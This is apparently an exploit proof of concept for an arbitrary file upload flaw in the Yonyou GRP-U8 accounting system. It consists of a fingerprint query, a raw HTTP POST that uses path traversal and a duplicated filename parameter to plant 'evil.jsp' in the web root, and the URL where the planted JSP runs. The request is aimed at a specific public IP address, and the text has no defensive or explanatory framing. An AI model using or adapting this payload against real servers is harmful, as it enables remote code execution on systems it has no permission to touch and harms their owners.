登录 白背景
app="用友-GRP-U8"
POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename=evil.jsp&filename=1.jpg HTTP/1.1
Host: 124.205.25.226:8082
Content-Type: multipart/form-data
Accept-Encoding: gzip
Content-Length: 161

------WebKitFormBoundary92pUawKc
Content-Disposition: form-data; name="myFile";filename="test.jpg"

<%out.print("test");%>
------WebKitFormBoundary92pUawKc--


http://124.205.25.226:8082/R9iPortal/evil.jsp